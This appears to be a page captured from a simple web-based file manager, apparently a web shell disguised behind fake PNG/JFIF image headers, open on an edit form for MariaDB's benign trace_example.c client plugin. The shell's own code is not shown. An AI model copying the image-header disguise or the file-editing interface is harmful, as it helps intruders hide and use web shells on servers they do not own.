�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Flibmariadb%2F'>libmariadb</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Flibmariadb%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Flibmariadb%2Fplugins%2Ftrace%2F'>trace</a>/</p><hr><h3>✏️ Editing: trace_example.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/************************************************************************************
   Copyright (C) 2015 MariaDB Corporation AB
   
   This library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Library General Public
   License as published by the Free Software Foundation; either
   version 2 of the License, or (at your option) any later version.
   
   This library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Library General Public License for more details.
   
   You should have received a copy of the GNU Library General Public
   License along with this library; if not see &lt;http://www.gnu.org/licenses&gt;
   or write to the Free Software Foundation, Inc., 
   51 Franklin St., Fifth Floor, Boston, MA 02110, USA
*************************************************************************************/
#ifndef _WIN32
#define _GNU_SOURCE 1
#endif

#include &lt;ma_global.h&gt;
#include &lt;mysql.h&gt;
#include &lt;mysql/client_plugin.h&gt;
#include &lt;string.h&gt;
#include &lt;memory.h&gt;

#ifndef WIN32
#include &lt;dlfcn.h&gt;
#endif

#define READ  0
#define WRITE 1

/* function prototypes */
static int trace_init(char *errormsg, 
                      size_t errormsg_size,
                      int unused      __attribute__((unused)), 
                      va_list unused1 __attribute__((unused)));
static int trace_deinit(void);

int (*register_callback)(my_bool register_callback, 
                         void (*callback_function)(int mode, MYSQL *mysql, const uchar *buffer, size_t length));
void trace_callback(int mode, MYSQL *mysql, const uchar *buffer, size_t length);

#ifndef HAVE_TRACE_EXAMPLE_PLUGIN_DYNAMIC
struct st_mysql_client_plugin trace_example_plugin=
#else
struct st_mysql_client_plugin _mysql_client_plugin_declaration_ =
#endif
{
  MARIADB_CLIENT_TRACE_PLUGIN,
  MARIADB_CLIENT_TRACE_PLUGIN_INTERFACE_VERSION,
  &quot;trace_example&quot;,
  &quot;Georg Richter&quot;,
  &quot;Trace example plugin&quot;,
  {1,0,0},
  &quot;LGPL&quot;,
  NULL,
  &amp;trace_init,
  &amp;trace_deinit,
  NULL
};

static const char *commands[]= {
  &quot;COM_SLEEP&quot;,
  &quot;COM_QUIT&quot;,
  &quot;COM_INIT_DB&quot;,
  &quot;COM_QUERY&quot;,
  &quot;COM_FIELD_LIST&quot;,
  &quot;COM_CREATE_DB&quot;,
  &quot;COM_DROP_DB&quot;,
  &quot;COM_REFRESH&quot;,
  &quot;COM_SHUTDOWN&quot;,
  &quot;COM_STATISTICS&quot;,
  &quot;COM_PROCESS_INFO&quot;,
  &quot;COM_CONNECT&quot;,
  &quot;COM_PROCESS_KILL&quot;,
  &quot;COM_DEBUG&quot;,
  &quot;COM_PING&quot;,
  &quot;COM_TIME&quot;,
  &quot;COM_DELAYED_INSERT&quot;,
  &quot;COM_CHANGE_USER&quot;,
  &quot;COM_BINLOG_DUMP&quot;,
  &quot;COM_TABLE_DUMP&quot;,
  &quot;COM_CONNECT_OUT&quot;,
  &quot;COM_REGISTER_SLAVE&quot;,
  &quot;COM_STMT_PREPARE&quot;,
  &quot;COM_STMT_EXECUTE&quot;,
  &quot;COM_STMT_SEND_LONG_DATA&quot;,
  &quot;COM_STMT_CLOSE&quot;,
  &quot;COM_STMT_RESET&quot;,
  &quot;COM_SET_OPTION&quot;,
  &quot;COM_STMT_FETCH&quot;,
  &quot;COM_DAEMON&quot;,
  &quot;COM_END&quot;
};

typedef struct {
  unsigned long thread_id;
  int last_command; /* COM_* values, -1 for handshake */
  unsigned int max_packet_size;
  unsigned int num_commands;
  size_t total_size[2];
  unsigned int client_flags;
  char *username;
  char *db;
  char *command;
  char *filename;
  unsigned long refid; /* stmt_id, thread_id for kill */
  uchar charset;
  void *next;
  int local_infile;
  unsigned long pkt_length;
} TRACE_INFO;

#define TRACE_STATUS(a) ((!a) ? &quot;ok&quot; : &quot;error&quot;)

TRACE_INFO *trace_info= NULL;

static TRACE_INFO *get_trace_info(unsigned long thread_id)
{
  TRACE_INFO *info= trace_info;

  /* search connection */
  while (info)
  {
    if (info-&gt;thread_id == thread_id)
      return info;
    else
      info= (TRACE_INFO *)info-&gt;next;
  }

  if (!(info= (TRACE_INFO *)calloc(1, sizeof(TRACE_INFO))))
    return NULL;
  info-&gt;thread_id= thread_id;
  info-&gt;next= trace_info;
  trace_info= info;
  return info;
}

static void delete_trace_info(unsigned long thread_id)
{
  TRACE_INFO *last= NULL, *current;
  current= trace_info;

  while (current)
  {
    if (current-&gt;thread_id == thread_id)
    {
      printf(&quot;deleting thread %lu\n&quot;, thread_id);

      if (last)
        last-&gt;next= current-&gt;next;
      else
        trace_info= (TRACE_INFO *)current-&gt;next;
      if (current-&gt;command)
        free(current-&gt;command);
      if (current-&gt;db)
        free(current-&gt;db);
      if (current-&gt;username)
        free(current-&gt;username);
      if (current-&gt;filename)
        free(current-&gt;filename);
      free(current);
    }
    last= current;
    current= (TRACE_INFO *)current-&gt;next;
  }

}


/* {{{ static int trace_init */
/* 
  Initialization routine

  SYNOPSIS
    trace_init
      unused1
      unused2
      unused3
      unused4

  DESCRIPTION
    Init function registers a callback handler for PVIO interface.

  RETURN
    0           success
*/
static int trace_init(char *errormsg, 
                      size_t errormsg_size,
                      int unused1 __attribute__((unused)), 
                      va_list unused2 __attribute__((unused)))
{
  void *func;

#ifdef WIN32
  if (!(func= GetProcAddress(GetModuleHandle(NULL), &quot;ma_pvio_register_callback&quot;)))
#else
  if (!(func= dlsym(RTLD_DEFAULT, &quot;ma_pvio_register_callback&quot;)))
#endif
  {
    strncpy(errormsg, &quot;Can&#039;t find ma_pvio_register_callback function&quot;, errormsg_size);
    return 1;
  }
  register_callback= func;
  register_callback(TRUE, trace_callback);

  return 0;
}
/* }}} */

static int trace_deinit(void)
{
  /* unregister plugin */
  while(trace_info)
  {
    printf(&quot;Warning: Connection for thread %lu not properly closed\n&quot;, trace_info-&gt;thread_id);
    trace_info= (TRACE_INFO *)trace_info-&gt;next;
  }
  register_callback(FALSE, trace_callback);
  return 0;
}

static void trace_set_command(TRACE_INFO *info, char *buffer, size_t size)
{
  if (info-&gt;command)
    free(info-&gt;command);

  info-&gt;command= calloc(1, size + 1);
  memcpy(info-&gt;command, buffer, size);
}

void dump_buffer(uchar *buffer, size_t len)
{
  uchar *p= buffer;
  while (p &lt; buffer + len)
  {
    printf(&quot;%02x &quot;, *p);
    p++;
  }
  printf(&quot;\n&quot;);
}

static void dump_simple(TRACE_INFO *info, my_bool is_error)
{
  printf(&quot;%8lu: %s %s\n&quot;, info-&gt;thread_id, commands[info-&gt;last_command], TRACE_STATUS(is_error));
}

static void dump_reference(TRACE_INFO *info, my_bool is_error)
{
  printf(&quot;%8lu: %s(%lu) %s\n&quot;, info-&gt;thread_id, commands[info-&gt;last_command], (long)info-&gt;refid, TRACE_STATUS(is_error));
}

static void dump_command(TRACE_INFO *info, my_bool is_error)
{
  size_t i;
  printf(&quot;%8lu: %s(&quot;,  info-&gt;thread_id, commands[info-&gt;last_command]);
  for (i= 0; info-&gt;command &amp;&amp; i &lt; strlen(info-&gt;command); i++)
    if (info-&gt;command[i] == &#039;\n&#039;)
      printf(&quot;\\n&quot;);
    else if (info-&gt;command[i] == &#039;\r&#039;)
      printf(&quot;\\r&quot;);
    else if (info-&gt;command[i] == &#039;\t&#039;)
      printf(&quot;\\t&quot;);
    else
      printf(&quot;%c&quot;, info-&gt;command[i]);
  printf(&quot;) %s\n&quot;, TRACE_STATUS(is_error));
}

void trace_callback(int mode, MYSQL *mysql, const uchar *buffer, size_t length)
{
  unsigned long thread_id= mysql-&gt;thread_id;
  TRACE_INFO *info;

  /* check if package is server greeting package,
   * and set thread_id */
  if (!thread_id &amp;&amp; mode == READ)
  {
    char *p= (char *)buffer;
    p+= 4; /* packet length */
    if ((uchar)*p != 0xFF) /* protocol version 0xFF indicates error */
    {
      p+= strlen(p + 1) + 2;
      thread_id= uint4korr(p);
    }
    info= get_trace_info(thread_id);
    info-&gt;last_command= -1;
  }
  else
  {
    char *p= (char *)buffer;
    info= get_trace_info(thread_id);

    if (info-&gt;last_command == -1)
    {
      if (mode == WRITE)
      {
        /* client authentication reply packet:
         * 
         *  ofs description        length
         *  ------------------------
         *  0   length             3
         *  3   packet_no          1
         *  4   client capab.      4
         *  8   max_packet_size    4
         *  12  character set      1
         *  13  reserved          23
         *  ------------------------
         *  36  username (zero terminated)
         *      len (1 byte) + password or
         */

        p+= 4;
        info-&gt;client_flags= uint4korr(p);
        p+= 4;
        info-&gt;max_packet_size= uint4korr(p);
        p+= 4;
        info-&gt;charset= *p;
        p+= 24;
        info-&gt;username= strdup(p);
        p+= strlen(p) + 1;
        if (*p) /* we are not interested in authentication data */
          p+= *p;
        p++;
        if (info-&gt;client_flags &amp; CLIENT_CONNECT_WITH_DB)
          info-&gt;db= strdup(p);
      }
      else
      {
        p++;
        if ((uchar)*p == 0xFF)
          printf(&quot;%8lu: CONNECT_ERROR(%d)\n&quot;, info-&gt;thread_id, uint4korr(p+1));
        else
          printf(&quot;%8lu: CONNECT_SUCCESS(host=%s,user=%s,db=%s)\n&quot;, info-&gt;thread_id, 
                 mysql-&gt;host, info-&gt;username, info-&gt;db ? info-&gt;db : &quot;&#039;none&#039;&quot;);
        info-&gt;last_command= COM_SLEEP;
      }
    }
    else {
      char *p= (char *)buffer;
      int len;

      if (mode == WRITE)
      {
        if (info-&gt;pkt_length &gt; 0)
        {
          info-&gt;pkt_length-= length;
          return;
        }
        len= uint3korr(p);
        info-&gt;pkt_length= len + 4 - length;
        p+= 4;
        info-&gt;last_command= *p;
        p++;

        switch (info-&gt;last_command) {
        case COM_INIT_DB:
        case COM_DROP_DB:
        case COM_CREATE_DB:
        case COM_DEBUG:
        case COM_QUERY:
        case COM_STMT_PREPARE:
          trace_set_command(info, p, len - 1);
          break;
        case COM_PROCESS_KILL:
          info-&gt;refid= uint4korr(p);
          break;
        case COM_QUIT:
          printf(&quot;%8lu: COM_QUIT\n&quot;, info-&gt;thread_id);
          delete_trace_info(info-&gt;thread_id);
          break;
        case COM_PING:
          printf(&quot;%8lu: COM_PING\n&quot;, info-&gt;thread_id);
          break;
        case COM_STMT_EXECUTE:
        case COM_STMT_RESET:
        case COM_STMT_CLOSE:
          info-&gt;refid= uint4korr(p);
          break;
        case COM_CHANGE_USER:
          break;
        default:
          if (info-&gt;local_infile == 1)
          {
            printf(&quot;%8lu: SEND_LOCAL_INFILE(%s) &quot;, info-&gt;thread_id, info-&gt;filename);
            if (len)
              printf(&quot;sent %d bytes\n&quot;, len);
            else
              printf(&quot;- error\n&quot;);
            info-&gt;local_infile= 2;
          }
          else
            printf(&quot;%8lu: UNKNOWN_COMMAND: %d\n&quot;, info-&gt;thread_id, info-&gt;last_command);
          break;
        }
      }
      else
      {
        my_bool is_error;

        len= uint3korr(p);
        p+= 4;

        is_error= (len == -1);

        switch(info-&gt;last_command) {
        case COM_STMT_EXECUTE:
        case COM_STMT_RESET:
        case COM_STMT_CLOSE:
        case COM_PROCESS_KILL:
          dump_reference(info, is_error);
          info-&gt;refid= 0;
          info-&gt;last_command= 0;
          break;
        case COM_QUIT:
          dump_simple(info, is_error);
          break;
        case COM_QUERY:
        case COM_INIT_DB:
        case COM_DROP_DB:
        case COM_CREATE_DB:
        case COM_DEBUG:
        case COM_CHANGE_USER:
          if (info-&gt;last_command == COM_QUERY &amp;&amp; (uchar)*p == 251)
          {
            info-&gt;local_infile= 1;
            p++;
            info-&gt;filename= (char *)malloc(len);
            strncpy(info-&gt;filename, (char *)p, len);
            dump_command(info, is_error);
            break;
          }
          dump_command(info, is_error);
          if (info-&gt;local_infile != 1)
          {
            free(info-&gt;command);
            info-&gt;command= NULL;
          }
          break;
        case COM_STMT_PREPARE:
          printf(&quot;%8lu: COM_STMT_PREPARE(%s) &quot;, info-&gt;thread_id, info-&gt;command);
          if (!*p)
          {
            unsigned long stmt_id= uint4korr(p+1);
            printf(&quot;-&gt; stmt_id(%lu)\n&quot;, stmt_id);
          }
          else
            printf(&quot;error\n&quot;);
          break;
        }
      }
    }
  }
  info-&gt;total_size[mode]+= length;
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Flibmariadb%2Fplugins%2Ftrace'>🔙 Back</a></p>